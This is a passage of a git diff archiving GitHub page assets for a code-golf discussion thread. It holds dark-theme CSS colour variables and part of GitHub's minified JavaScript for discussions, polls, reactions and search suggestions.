#6e7681;--color-neutral-muted: rgba(110,118,129,0.4);--color-neutral-subtle: rgba(110,118,129,0.1);--color-accent-fg: #58a6ff;--color-accent-emphasis: #1f6feb;--color-accent-muted: rgba(56,139,253,0.4);--color-accent-subtle: rgba(56,139,253,0.15);--color-success-fg: #3fb950;--color-success-emphasis: #238636;--color-success-muted: rgba(46,160,67,0.4);--color-success-subtle: rgba(46,160,67,0.15);--color-attention-fg: #d29922;--color-attention-emphasis: #9e6a03;--color-attention-muted: rgba(187,128,9,0.4);--color-attention-subtle: rgba(187,128,9,0.15);--color-severe-fg: #db6d28;--color-severe-emphasis: #bd561d;--color-severe-muted: rgba(219,109,40,0.4);--color-severe-subtle: rgba(219,109,40,0.15);--color-danger-fg: #f85149;--color-danger-emphasis: #da3633;--color-danger-muted: rgba(248,81,73,0.4);--color-danger-subtle: rgba(248,81,73,0.15);--color-open-fg: #3fb950;--color-open-emphasis: #238636;--color-open-muted: rgba(46,160,67,0.4);--color-open-subtle: rgba(46,160,67,0.15);--color-closed-fg: #f85149;--color-closed-emphasis: #da3633;--color-closed-muted: rgba(248,81,73,0.4);--color-closed-subtle: rgba(248,81,73,0.15);--color-done-fg: #a371f7;--color-done-emphasis: #8957e5;--color-done-muted: rgba(163,113,247,0.4);--color-done-subtle: rgba(163,113,247,0.15);--color-sponsors-fg: #db61a2;--color-sponsors-emphasis: #bf4b8a;--color-sponsors-muted: rgba(219,97,162,0.4);--color-sponsors-subtle: rgba(219,97,162,0.15);--color-primer-fg-disabled: #484f58;--color-primer-canvas-backdrop: rgba(1,4,9,0.8);--color-primer-canvas-sticky: rgba(13,17,23,0.95);--color-primer-border-active: #F78166;--color-primer-border-contrast: rgba(255,255,255,0.2);--color-primer-shadow-highlight: 0 0 transparent;--color-primer-shadow-inset: 0 0 transparent;--color-primer-shadow-focus: 0 0 0 3px #0c2d6b;--color-scale-black: #010409;--color-scale-white: #ffffff;--color-scale-gray-0: #f0f6fc;--color-scale-gray-1: #c9d1d9;--color-scale-gray-2: #b1bac4;--color-scale-gray-3: #8b949e;--color-scale-gray-4: #6e7681;--color-scale-gray-5: #484f58;--color-scale-gray-6: #30363d;--color-scale-gray-7: #21262d;--color-scale-gray-8: #161b22;--color-scale-gray-9: #0d1117;--color-scale-blue-0: #cae8ff;--color-scale-blue-1: #a5d6ff;--color-scale-blue-2: #79c0ff;--color-scale-blue-3: #58a6ff;--color-scale-blue-4: #388bfd;--color-scale-blue-5: #1f6feb;--color-scale-blue-6: #1158c7;--color-scale-blue-7: #0d419d;--color-scale-blue-8: #0c2d6b;--color-scale-blue-9: #051d4d;--color-scale-green-0: #aff5b4;--color-scale-green-1: #7ee787;--color-scale-green-2: #56d364;--color-scale-green-3: #3fb950;--color-scale-green-4: #2ea043;--color-scale-green-5: #238636;--color-scale-green-6: #196c2e;--color-scale-green-7: #0f5323;--color-scale-green-8: #033a16;--color-scale-green-9: #04260f;--color-scale-yellow-0: #f8e3a1;--color-scale-yellow-1: #f2cc60;--color-scale-yellow-2: #e3b341;--color-scale-yellow-3: #d29922;--color-scale-yellow-4: #bb8009;--color-scale-yellow-5: #9e6a03;--color-scale-yellow-6: #845306;--color-scale-yellow-7: #693e00;--color-scale-yellow-8: #4b2900;--color-scale-yellow-9: #341a00;--color-scale-orange-0: #ffdfb6;--color-scale-orange-1: #ffc680;--color-scale-orange-2: #ffa657;--color-scale-orange-3: #f0883e;--color-scale-orange-4: #db6d28;--color-scale-orange-5: #bd561d;--color-scale-orange-6: #9b4215;--color-scale-orange-7: #762d0a;--color-scale-orange-8: #5a1e02;--color-scale-orange-9: #3d1300;--color-scale-red-0: #ffdcd7;--color-scale-red-1: #ffc1ba;--color-scale-red-2: #ffa198;--color-scale-red-3: #ff7b72;--color-scale-red-4: #f85149;--color-scale-red-5: #da3633;--color-scale-red-6: #b62324;--color-scale-red-7: #8e1519;--color-scale-red-8: #67060c;--color-scale-red-9: #490202;--color-scale-purple-0: #eddeff;--color-scale-purple-1: #e2c5ff;--color-scale-purple-2: #d2a8ff;--color-scale-purple-3: #bc8cff;--color-scale-purple-4: #a371f7;--color-scale-purple-5: #8957e5;--color-scale-purple-6: #6e40c9;--color-scale-purple-7: #553098;--color-scale-purple-8: #3c1e70;--color-scale-purple-9: #271052;--color-scale-pink-0: #ffdaec;--color-scale-pink-1: #ffbedd;--color-scale-pink-2: #ff9bce;--color-scale-pink-3: #f778ba;--color-scale-pink-4: #db61a2;--color-scale-pink-5: #bf4b8a;--color-scale-pink-6: #9e3670;--color-scale-pink-7: #7d2457;--color-scale-pink-8: #5e103e;--color-scale-pink-9: #42062a;--color-scale-coral-0: #FFDDD2;--color-scale-coral-1: #FFC2B2;--color-scale-coral-2: #FFA28B;--color-scale-coral-3: #F78166;--color-scale-coral-4: #EA6045;--color-scale-coral-5: #CF462D;--color-scale-coral-6: #AC3220;--color-scale-coral-7: #872012;--color-scale-coral-8: #640D04;--color-scale-coral-9: #460701}} + +/*# sourceMappingURL=dark-27e9c50c7b31.css.map*/ \ No newline at end of file diff --git a/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js new file mode 100644 index 0000000..b0e0f01 --- /dev/null +++ b/archive/Problem 4 Shutdown! · Discussion #4 · Ta180m_Idiot-Code-Golf_files/discussions-a9715ada910e.js @@ -0,0 +1,35 @@ +"use strict";(()=>{var te=Object.defineProperty;var o=(T,E)=>te(T,"name",{value:E,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["discussions"],{67105:(T,E,a)=>{var l=a(6741),d=a(64463),v=a(65935);(0,d.N7)(".js-discussions-goto-answer-button",{add:e=>{const t=e.getAttribute("href"),n=document.querySelector(t);n&&(0,l.RB)(e,"click",s=>{if(t){s.preventDefault();let m="center";n.getBoundingClientRect().height>=window.innerHeight&&(m="start"),n.scrollIntoView({behavior:"smooth",block:m})}},{capture:!0})}}),(0,d.N7)(".js-discussions-title-container",{add:e=>{e.querySelector(".js-discussions-goto-answer-button")?h():f()}});function h(){const e=document.querySelector(".js-discussion");e&&e.classList.add("answered")}o(h,"removeMarkAsAnswerButtons");function f(){const e=document.querySelector(".js-discussion");e&&e.classList.remove("answered")}o(f,"addMarkAsAnswerButtons"),(0,v.AC)(".js-discussion-comment-mark-answer",async function(e,t){await c(e,t)}),(0,v.AC)(".js-discussion-comment-unmark-answer",async function(e,t){await c(e,t)});async function c(e,t){const n=await t.html();let s=e;const m=e.closest("[data-replace-remote-form-target]");if(m){const y=m.getAttribute("data-replace-remote-form-target");s=y?document.getElementById(y):m}s.replaceWith(n.html)}o(c,"replaceAnswerForm");var i=a(59753),r=a(45075);(0,r.w4)("keyup",".js-discussion-category-name-field",function(){const e=document.querySelector(".js-discussion-category-form");if(!e)return;const t=e.querySelector(".js-discussion-category-name-field"),n=e.querySelector(".js-submit-discussion-category");t.value.length>0&&(n.disabled=!1)}),(0,i.on)("click",".js-discussion-category-toggle-emoji-picker",function(e){const n=u(e).querySelector(".js-discussion-category-emoji-picker");n.hidden=!n.hidden}),(0,i.on)("click",".js-discussion-category-emoji-button",function(e){if(!(e.currentTarget instanceof HTMLButtonElement))return;const t=u(e),n=t.querySelector(".js-discussion-category-emoji-field");n.value=e.currentTarget.value;const s=t.querySelector(".js-discussion-category-custom-emoji");s.innerHTML=e.currentTarget.innerHTML;for(const y of t.querySelectorAll(".selected-emoji"))y.classList.remove("selected-emoji");e.currentTarget.classList.add("selected-emoji");const m=t.querySelector(".js-discussion-category-emoji-picker");m.hidden=!0});function u(e){return e.currentTarget.closest(".js-discussion-category-form")}o(u,"getDiscussionCategoryContainer");function b(e){var t;const n=document.querySelector("#category-select-header"),s=document.querySelector(".js-discussion-category-select-label"),m=(t=e.querySelector(".js-discussion-category-emoji"))==null?void 0:t.cloneNode(!0),y=document.createTextNode(e.getAttribute("data-category-name")),C=e.getAttribute("data-supports-polls"),B=document.createElement("span");n instanceof HTMLElement&&(B.setAttribute("id","category-select-header"),B.setAttribute("class","css-truncate css-truncate-target"),B.setAttribute("data-supports-polls",C),m instanceof HTMLElement&&(m.classList.add("mr-2"),B.appendChild(m)),B.appendChild(y),n.replaceWith(B),s instanceof HTMLElement&&(s.hidden=!1))}o(b,"updateHeader");function p(e){const t=document.querySelector("#discussion_poll_form");!t||(t.hidden=!e)}o(p,"displayPollForm"),(0,i.on)("click",".js-poll-option-template-button",function(e){var t;const s=e.currentTarget.parentElement,m=s.querySelector(".js-poll-option-destroy-field"),y=s.closest(".js-discussion-poll-form-component");m?(m.value="true",(t=m.nextElementSibling)==null||t.classList.remove("js-poll-option"),s.hidden=!0):s.remove();const C=document.querySelector(".js-add-poll-option");(C==null?void 0:C.hidden)&&(C.hidden=!1,C.setAttribute("aria-hidden","false")),y&&(0,i.f)(y,"pollOptionRemoved")}),(0,i.on)("click",".js-add-poll-option",function(e){const t=e.currentTarget,n=document.querySelector("#poll-option-container"),s=+n.getAttribute("data-poll-options-limit"),m=document.querySelector(".js-poll-option-template"),y=n.getAttribute("data-new-discussion")==="true";if(n&&m){const B=m.cloneNode(!0);B.hidden=!1;const Y=B.querySelector(".js-poll-option-template-input");if(y)Y.name="discussion[poll_attributes][options_attributes][][option]";else{const At=n.getAttribute("data-poll-option-next-key");Y.name=`discussion[poll_attributes][options_attributes][${At}][option]`,n.setAttribute("data-poll-option-next-key",`${parseInt(At)+1}`)}n.appendChild(B)}const C=n.querySelectorAll(".js-poll-option").length;t&&C>=s&&(t.hidden=!0,t.setAttribute("aria-hidden","true"))}),(0,i.on)("change","#js-verify-searched",function(e){const t=e.currentTarget,n=document.querySelector("#submit"),s=document.querySelector("#new_discussion");s instanceof HTMLFormElement&&s.checkValidity()&&n&&(n.disabled=!t.checked)}),(0,i.on)("change","#js-discussion-title",function(e){const t=e.currentTarget,n=document.querySelector("#js-similar-search-link");if(n instanceof HTMLAnchorElement&&t instanceof HTMLInputElement){const s=n.getAttribute("data-path");n.href=`${s}${encodeURIComponent(t.value)}`}}),(0,i.on)("details-menu-selected",".js-discussion-category-select",function(e){const t=e.detail.relatedTarget,n=document.querySelector("#discussion_category_id"),s=document.querySelector("#submit"),m=document.querySelector("#new_discussion"),y=document.querySelector("#js-verify-searched");let C=!0;y instanceof HTMLInputElement&&(C=y.checked,s instanceof HTMLButtonElement&&!C&&(s.disabled=!0)),b(t);const B=t.getAttribute("data-supports-polls");if(n instanceof HTMLInputElement){if(n.setAttribute("value",t.id),B==="true"){const Y=document.querySelector(".js-previewable-comment-form");(Y==null?void 0:Y.classList.contains("preview-selected"))||p(!0)}else p(!1);m instanceof HTMLFormElement&&m.checkValidity()&&C&&(s==null||s.removeAttribute("disabled"))}},{capture:!0});var w=a(29719);(0,d.N7)(".js-discussions-comment-actions-button",{subscribe:e=>(0,l.RB)(e,"mouseover",M,{capture:!1,once:!0})}),(0,i.on)("click",".js-discussions-comment-actions-button",function({currentTarget:e}){R(e)}),(0,d.N7)(".js-discussions-comment-actions-rendered-button",{add:e=>W(e)});function M(e){const t=e.currentTarget;g(t)}o(M,"handleMouseover");function W(e){const t=e.closest(".timeline-comment-actions");if(!!t&&t.hasAttribute("data-open-after-click")){t.removeAttribute("data-open-after-click");const n=e.closest("details");if(!n)return;n.setAttribute("open","")}}o(W,"conditionallyOpenMenu");async function g(e){if(!e)return;const t=e.closest(".timeline-comment-actions");if(!t)return;const n=t.querySelector(".js-discussions-comment-actions-container");if(!n)return;const s=n.getAttribute("data-comment-actions-url");if(!s)return;const m=await(0,w.a)(document,s);!m||n.replaceWith(m)}o(g,"insertCommentActions");function R(e){if(!e)return;const t=e.closest(".timeline-comment-actions");!t||t.setAttribute("data-open-after-click","")}o(R,"setClickAfterInsert");var x=a(69567),$=a(55741);(0,d.N7)(".js-discussions-comment-edit-button",{subscribe:e=>(0,l.RB)(e,"click",Z,{capture:!1,once:!0})}),(0,d.N7)(".js-task-list-container .contains-task-list",{add:async e=>I(e)}),(0,d.N7)(".js-discussion-poll-form-component",{subscribe:e=>(0,l.RB)(e,"pollOptionRemoved",X)}),(0,r.w4)("keyup",".js-discussion-poll-form-component input",X);async function I(e){const t=e.closest(".js-comment"),n=j(t);if(n){if(n.querySelector(".js-preview-body"))return;const m=n.getAttribute("data-permissions-url"),y=L(n).targetType;m&&y&&await H(m,y)&&(J(t),D(t))}}o(I,"conditionallyRenderEditForm");async function H(e,t){return(await(await fetch(e,{headers:{Accept:"application/json"}})).json())[t].update}o(H,"fetchAndReturnUpdatePermission");function Z(e){const n=e.currentTarget.closest(".js-comment");J(n),D(n),G(n)}o(Z,"handleClick");function X(e){const n=e.currentTarget.closest(".js-comment");if(n){const s=n.querySelector(".js-discussion-poll-form-component");s&&nt(n,(0,$.T)(s))}}o(X,"handlePollModificationEvent");function D(e){const t=e.querySelector(".js-discussions-markdown-toolbar-placeholder:last-child");if(t){const n={textareaId:t.getAttribute("data-textarea-id")};A("template.js-discussions-markdown-toolbar-template",t,n)}}o(D,"insertMarkdownToolbar");function G(e){const t=e.querySelector(".js-discussions-poll-edit-placeholder");if(t){const n=t.getAttribute("data-poll-edit-url");if(n==="")return;A("template.js-discussions-poll-edit-template",t,{pollEditUrl:n})}}o(G,"insertPollEditForm");function J(e){const t=j(e);if(t){const n=L(t);A("template.js-discussions-edit-form-template",t,n),q(e,n)}}o(J,"insertEditForm");function q(e,t){const n=F(e);n&&A("template.js-discussions-edit-actions-template",n,t)}o(q,"insertEditFormActions");function tt(e){const t=F(e);t&&A("template.js-discussions-poll-confirmation-template",t,{})}o(tt,"insertPollEditConfirmationPrompt");function nt(e,t){const n=j(e);if(n.getAttribute("data-poll-confirmation")==="true"!==t)if(t)tt(e),n.setAttribute("data-poll-confirmation","true");else{const m=L(n);q(e,m),n.setAttribute("data-poll-confirmation","false")}}o(nt,"toggleFormActionVariant");function j(e){return e.querySelector(".js-edit-comment-form-container")}o(j,"editFormTargetContainer");function F(e){return e.querySelector(".js-discussions-edit-form-actions")}o(F,"editFormActionsContainer");function L(e){return{bodyVersion:e.getAttribute("data-body-version"),outerDivClasses:e.getAttribute("data-outer-div-classes"),repositoryId:e.getAttribute("data-repository-id"),targetBody:e.getAttribute("data-target-body"),targetType:e.getAttribute("data-target-type"),textareaId:e.getAttribute("data-textarea-id"),slashCommandUrl:e.getAttribute("data-slash-command-url"),pollEditUrl:e.getAttribute("data-poll-edit-url")}}o(L,"editFormTemplateReplacements");function A(e,t,n){const s=document.querySelector(e);s&&(t.innerHTML="",t.appendChild(new x.R(s,n)))}o(A,"insertTemplate"),(0,d.N7)(".js-optimistic-reaction-render-button",{subscribe:e=>(0,l.RB)(e,"click",S,{capture:!1})});function S(e){const t=e.currentTarget;if(t){const n=new _(t);setTimeout(()=>{n.render()},1)}}o(S,"handleReactionEvent");class _{constructor(t){this.clickedReactionButton=t}render(){if(!this.isReactionAlreadyRendered)return this.addNewReactionGroup();this.isAddingReaction?this.addReactionToGroup():this.removeReactionFromGroup()}addReactionToGroup(){this.existingReactionGroupCountContainer&&this.existingReactionGroup&&(this.existingReactionGroup.removeAttribute("hidden"),this.existingReactionGroup.classList.add("user-has-reacted"),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount+1}`,this.addReactionToPopoverReactionButtons())}removeReactionFromGroup(){var t;this.existingReactionGroupCount===1&&this.existingReactionGroup.setAttribute("hidden",""),this.existingReactionGroupCountContainer.textContent=`${this.existingReactionGroupCount-1}`,(t=this.existingReactionGroup)==null||t.classList.remove("user-has-reacted"),this.removeReactionFromPopoverReactionButtons()}addNewReactionGroup(){const t=this.newEmojiButtonFromTemplate();this.newEmojiButtonTemplateContainer&&t&&this.commentReactionsContainer&&(this.nextButtonGroup?this.reactionGroupsContainer.insertBefore(t,this.nextButtonGroup):this.reactionGroupsContainer.append(t),t.classList.add(this.tooltipPositionClass),this.addReactionToPopoverReactionButtons(),this.commentReactionsContainer.classList.contains("d-md-none")&&this.commentReactionsContainer.classList.add("has-reactions"))}newEmojiButtonFromTemplate(){if(this.newEmojiButtonTemplateContainer){const n=this.newEmojiButtonTemplateContainer.content.querySelector(".js-reaction-group-button");if(n)return n.cloneNode(!0)}}get nextButtonGroup(){if(this.newEmojiButtonFromTemplatePosition!==void 0&&this.newEmojiButtonFromTemplatePosition!==null){const t=this.reactionGroupsContainer.children;for(const n of t)if(Number(n.getAttribute("data-button-index-position"))>this.newEmojiButtonFromTemplatePosition)return n}}get commentContainer(){return this.clickedReactionButton.closest(".js-comment")}get buttonsContainer(){return this.commentContainer.querySelector(".js-reaction-buttons-container")}get reactionContent(){return this.clickedReactionButton.getAttribute("data-reaction-content")}get reactionGroup(){return this.buttonsContainer.querySelector(`.js-comment-reactions-options g-emoji[alias='${this.reactionContent}'`)}get existingReactionGroup(){if(this.reactionGroup)return this.reactionGroup.closest(".js-reaction-group-button")}get existingReactionGroupCountContainer(){if(this.existingReactionGroup)return this.existingReactionGroup.querySelector(".js-discussion-reaction-group-count")}get newEmojiButtonTemplateContainer(){return document.getElementById(`emoji-reaction-button-template-${this.reactionContent}`)}get commentReactionsContainer(){return this.buttonsContainer.closest(".js-reaction-buttons-container")}get reactionGroupsContainer(){return this.buttonsContainer.querySelector(".js-comment-reactions-options")}get isReactionAlreadyRendered(){return!!this.reactionGroup}get isAddingReaction(){if(this.existingReactionGroup)return!this.existingReactionGroup.classList.contains("user-has-reacted")}get existingReactionGroupCount(){return this.existingReactionGroupCountContainer?Number(this.existingReactionGroupCountContainer.innerHTML):0}get newEmojiButtonFromTemplatePosition(){const t=this.newEmojiButtonFromTemplate();if(t)return Number(t.getAttribute("data-button-index-position"))}get tooltipPositionClass(){return this.buttonsContainer.querySelectorAll("button").length>1?"tooltipped-s":"tooltipped-se"}addReactionToPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.add("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)||(s.value=s.value.replace(/react/,"unreact"))}}removeReactionFromPopoverReactionButtons(){const t=this.commentContainer.querySelectorAll(".js-add-reaction-popover");for(const n of t){const s=n.querySelector(`button[data-reaction-content="${this.reactionContent}"]`);s.classList.remove("border","color-border-default","color-bg-accent"),s.value.match(/unreact/)&&(s.value=s.value.replace(/unreact/,"react"))}}}o(_,"OptimisticReactionRenderer");var N=a(97730);(0,d.N7)(".js-inline-comment-form-container",{add:e=>U(e)}),(0,i.on)("click",".js-discussions-previewable-comment-form",function({currentTarget:e}){P(e,{willFocus:!0})}),(0,d.N7)(".js-discussions-previewable-comment-form-auto-replace",{add:e=>P(e,{willFocus:!1})}),(0,i.on)("quote-selection",".js-discussion-quote-selection",function(e){const t=e.detail,n=t.closest(".js-timeline-discussion-comment");if(!n)return;const s=t.range;P(n,{willFocus:!0}),t.range=s});function U(e){const t=e.closest(".discussion-timeline-item.js-comment-container");t&&t.getAttribute("data-open-edit-form-after-load")==="true"&&(t.setAttribute("data-open-edit-form-after-load","false"),P(e,{willFocus:!0}))}o(U,"conditionallyInsertForm");function P(e,t){const n=e.closest(".js-timeline-discussion-comment"),s=n.querySelector(".js-discussions-previewable-comment-form-container");if(!s)return;const m=s.getAttribute("data-parent-comment-id"),y=s.getAttribute("data-anchor-id"),C=s.getAttribute("data-back-page"),B=document.querySelector("template.js-new-comment-template");m&&B&&!s.querySelector(".js-discussion-comment-form")&&(s.innerHTML="",s.appendChild(new x.R(B,{id:m,random:crypto.randomUUID(),anchorId:y,backPage:C}))),t.willFocus&&(0,N.j)(n)}o(P,"insertForm"),(0,v.AC)(".js-discussions-previewable-comment-form-container .js-discussion-comment-form",async function(e,t){var n;await t.text(),(0,N.w)(e),(n=e.closest(".js-discussions-previewable-comment-form-container").querySelector(".js-comment-form-error"))==null||n.classList.add("d-none")});var V=a(32750),k=a(36162),z=a(15205),et=a(56238),at=a(41311);async function ot(){const e=O(),t=e.value,s=t.slice(0,e.selectionEnd).split(/\s+/).pop();st().hidden=!1,O().setAttribute("aria-expanded","true");const[m,y]=s.split(":");y!=null?await Pt(m,y):Dt(m);const C=Lt();t.trim().length>0?(C.hidden=!1,(0,V.T_)(Q())):(C.hidden=!0,(0,V.QZ)(Q()))}o(ot,"updateSearchSuggestionResults");function Ct(){const e=O();e.value="",e.getAttribute("data-initial-value").trim().length===0?ot():(0,et.Bt)(Q())}o(Ct,"handleSearchClear");function Tt(e){switch(e.detail.hotkey){case"Enter":if(O().value.trim()!==""||lt().querySelector(".js-navigation-item.navigation-focus"))return;(0,et.Bt)(Q());return;case"Escape":st().hidden=!0,O().setAttribute("aria-expanded","false");break}}o(Tt,"handleSearchInputKeydown");function _t(e){if(e&&e.target){const t=e.target,n=O();n!=null&&n.setAttribute("aria-activedescendant",t.id)}}o(_t,"handleSearchFormFocus");function ct(){(0,V.jK)(Q()),st().hidden=!0,O().setAttribute("aria-expanded","false")}o(ct,"hideSearchSuggestions");function Rt(e){const t=O(),n=e.target;if(n.hasAttribute("data-search")){(0,et.Bt)(Q());return}let s=n.getAttribute("data-value");s[s.length-1]!==":"&&(s+=" ");const m=t.value.slice(0,t.selectionEnd).replace(/\S+$/,""),y=t.value.slice(t.selectionEnd);let C="";y.length>0&&y[0]!==" "&&(C=" "),t.value=m+s+C+y,e.preventDefault(),t.focus();const B=m.length+s.length;t.setSelectionRange(B,B),(0,i.f)(t,"input")}o(Rt,"handleSelectedSuggestionResultEvent");function Ft(){const e=O(),t=e.value.length;e.setSelectionRange(t,t),e.focus(),ct()}o(Ft,"restoreSearchInputFocus");function Q(){return document.querySelector(".js-discussion-search-form")}o(Q,"getSearchForm");function O(){return document.querySelector(".js-discussion-search-input")}o(O,"getSearchInput");function st(){return document.querySelector(".js-discussion-search-autocomplete-dropdown")}o(st,"getSearchAutocompleteDropdown");function lt(){return document.querySelector(".js-discussion-search-autocomplete-results")}o(lt,"getSearchAutocompleteResultsContainer");function Lt(){return document.querySelector(".js-discussion-search-clear")}o(Lt,"getSearchClearButton");const xt=(0,z.Z)(Bt);function Bt(){return[{value:"author:",description:"filter by discussion author"},{value:"category:",description:"filter by discussion category"},{value:"is:",description:"filter by answered or unanswered"},{value:"label:",description:"filter by discussion label"}]}o(Bt,"fetchQualifierSuggestions");async function Pt(e,t){const n=Mt(e),s=dt(n,t).then(m=>m.map(y=>({value:`${e}:${y.value}`,description:y.description})));mt(s)}o(Pt,"renderValueSuggestions");async function Mt(e){switch(e){case"author":return It();case"category":return qt();case"label":return kt();case"is":return Ot();default:return[]}}o(Mt,"fetchSuggestionsForQualifier");const ut=(0,z.Z)(async e=>await(await fetch(e,{headers:{Accept:"application/json"}})).json());async function It(){const e=O().getAttribute("data-suggestable-authors-path");return ut(e)}o(It,"fetchAuthorSuggestions");async function qt(){return JSON.parse(O().getAttribute("data-suggestable-categories"))}o(qt,"fetchCategorySuggestions");async function kt(){const e=O().getAttribute("data-suggestable-labels-path");return ut(e)}o(kt,"fetchLabelSuggestions");async function Ot(){return[{value:"answered"},{value:"unanswered"}]}o(Ot,"fetchTypeSuggestions");function Dt(e){const t=xt(),n=dt(t,e,{fuzzy:!1}).then(s=>s.length===0?t:s);mt(n)}o(Dt,"renderQualifierSuggestions");async function dt(e,t,{fuzzy:n}={fuzzy:!0}){const s=await e,m=t.trim();return!m||m.length===0?s:s.filter(y=>n?y.value.includes(m):y.value.startsWith(m))}o(dt,"filterSuggestionsList");async function mt(e){const t=e.then(n=>n.length===0?k.dy``:ft());(0,k.sY)(k.dy` +
    + ${Nt()} ${(0,at.C)(t,ft())} + ${(0,at.C)(Ut(e),k.dy` loading... `)} +
    + `,lt())}o(mt,"renderSuggestionDropdown");function ft(){return k.dy`
    + Suggested filters +
    `}o(ft,"renderSuggestionsTitle");function Nt(){const e=O().value.trim();return e.length===0?k.dy``:k.dy` +
    + ${e} + +
    + `}o(Nt,"renderSearchSuggestion");async function Ut(e){return(await e).map((n,s)=>k.dy` +
    + ${n.value} + ${n.description} +
    + `)}o(Ut,"renderSuggestionList");var $t=a(29946);(0,i.on)("focusin",".js-discussion-search-input",ot),(0,i.on)("focusout:delay",".js-discussion-search-input",ct),(0,i.on)("navigation:open",".js-discussion-search-form",e=>{Rt(e)}),(0,i.on)("navigation:focus",".js-discussion-search-form",e=>{_t(e)}),(0,i.on)("navigation:keydown",".js-discussion-search-form",e=>{Tt(e)}),(0,d.N7)(".js-discussion-search-input",e=>{e.addEventListener("input",ot)}),(0,i.on)("click",".js-discussion-search-clear",Ct);let it=!1;(0,i.on)("submit",".js-discussion-search-form",()=>(it=!0,!0));function pt(){it&&Ft(),it=!1}o(pt,"restoreFocus"),document.addEventListener("pjax:end",pt),document.addEventListener($t.QE.SUCCESS,pt);var Ht=a(42150);(0,d.N7)(".js-confetti-party",()=>{(0,Ht.Z)()}),(0,i.on)("change",".js-discussion-spotlight-preview-trigger",function(e){const t=e.currentTarget,s=t.closest("form").querySelectorAll(`input[name="${t.name}"]`);for(const m of s){const y=m.closest("label");m.checked?y.setAttribute("aria-selected","true"):y.setAttribute("aria-selected","false")}Vt(t)}),(0,i.on)("click",".js-toggle-manage-discussion-spotlight",function(e){e.target instanceof HTMLElement});function Vt(e){const n=ht(e).querySelector(".js-discussion-spotlight-preview");Gt(n)}o(Vt,"previewTriggerChanged");async function Gt(e){const t=ht(e),n=e.getAttribute("data-url"),s=new URL(n,window.location.origin),m=t.querySelector(".js-discussion-spotlight-form");s.search+=(s.search?"&":"")+(0,et.qC)(m);let y;try{y=await(0,w.a)(document,s.toString())}catch{return}e.replaceWith(y)}o(Gt,"updateSpotlightPreview");function ht(e){return e.closest(".js-manage-discussion-spotlight-container")}o(ht,"getManageSpotlightContainer"),(0,v.AC)(".js-spotlight-notice-dismiss",async function(e,t){await t.text(),e.closest(".js-notice").remove(),document.querySelector(".js-discussions-categories")&&document.querySelector(".js-discussions-categories").classList.remove("v-hidden")}),(0,d.N7)(".js-discussion-spotlights-sortable",{async add(e){const{Sortable:t}=await a.e("app_assets_modules_github_sortable-behavior_ts").then(a.bind(a,36962));t.create(e,{animation:150,handle:".js-discussion-spotlight-handle",onUpdate:async()=>{const n=e.getAttribute("data-update-url"),m=Array.from(e.querySelectorAll(".js-discussion-spotlight")).map(C=>C.getAttribute("data-id")),y=e.parentElement.querySelector(".js-data-url-csrf");!y||await fetch(n,{method:"PUT",mode:"same-origin",body:JSON.stringify({spotlight_ids:m}),headers:{"Content-Type":"application/json",Accept:"application/json","Scoped-CSRF-Token":y.value,"X-Requested-With":"XMLHttpRequest"}})}})}}),(0,i.on)("click",".js-discussion-comment-thread-expand-button",function({currentTarget:e}){const t=gt(e);!t||Wt(t)}),(0,i.on)("click",".js-discussions-fetch-all-paginated-comments",function({currentTarget:e}){const t=gt(e);!t||Kt(t)});function Wt(e){Xt(e)&&e.setAttribute("data-open-edit-form-after-load","true")}o(Wt,"conditionallyOpenEditFormAfterLoad");function Kt(e){const t=e.querySelector(".js-discussion-comment-thread-expand-button");t&&(e.setAttribute("data-open-edit-form-after-load","true"),t.click())}o(Kt,"clickShowMoreButton");function gt(e){return e.closest(".discussion-timeline-item.js-comment-container")}o(gt,"commentContainerFor");function Xt(e){const t=e.querySelector(".js-inline-comment-form-container");return t?t.classList.contains("open"):!1}o(Xt,"isReplyFormOpen"),(0,d.N7)(".js-remove-error-state-on-click > details",{add:e=>Qt(e)});function Qt(e){var t;const n=(t=document.getElementById("discussion_category_id"))==null?void 0:t.getAttribute("value");if(!n)return;const s=e.querySelector(`.discussion-category-${n}`);!s||s.click()}o(Qt,"conditionallyReselectCategory");var ee=a(62805),vt=a(12981);const Zt=o(async(e,t,n,s)=>{const m=new FormData;m.append("question",n);for(const y of s)m.append("options[]",y);return await fetch(e,{body:m,method:"POST",mode:"same-origin",headers:{"Scoped-CSRF-Token":t}})},"sendRequest");class yt{constructor(t){this.pollForm=t,this.pollPreviewUrl=this.pollForm.getAttribute("data-poll-preview-url")||""}hide(){var t;this.pollForm.hidden=!0,(t=this.pollForm)==null||t.setAttribute("aria-hidden","true")}show(){var t;this.pollForm.hidden=!1,(t=this.pollForm)==null||t.setAttribute("aria-hidden","false")}getCsrfInputValue(){const t=this.pollForm.querySelector(".js-poll-preview-url-post-csrf");return t?t.value:""}getOptions(){const t=[],n=this.pollForm.querySelector("#poll-option-container");if(!n)return t;const s=n.querySelectorAll(".js-poll-option");for(const m of s)m.value&&t.push(m.value);return t}getQuestion(){const t=this.pollForm.querySelector(".js-poll-form-input-question");return t?t.value:""}}o(yt,"PollFormElement");class bt{constructor(t){this.pollFormElement=t}hidePollForm(){this.pollFormElement.hide()}showPollForm(){this.pollFormElement.show()}async getPreview(){const t=this.pollFormElement.getQuestion(),n=this.pollFormElement.getOptions();return t&&n.length>0?await(await Zt(this.pollFormElement.pollPreviewUrl,this.pollFormElement.getCsrfInputValue(),t,n)).text():""}}o(bt,"Poll");let K;(0,d.N7)(".js-discussion-poll-form-component",e=>{K=new bt(new yt(e))}),(0,i.on)("preview:rendered",".js-previewable-comment-form",async function(e){if(!K)return;const n=e.currentTarget.querySelector(".comment-body"),s=await K.getPreview();n.append((0,vt.r)(document,s)),K.hidePollForm()}),(0,i.on)("poll-preview:toggle:off",".js-discussion-poll-form-component",async function(){if(!K)return;const e=document.querySelector(".js-discussion-category-select");if(e){const t=e.querySelector("#category-select-header");if(!t)return;t.getAttribute("data-supports-polls")==="true"&&K.showPollForm()}else K.showPollForm()});const zt=o(async(e,t,n)=>{const s=new FormData;return s.append("option_id",n),await 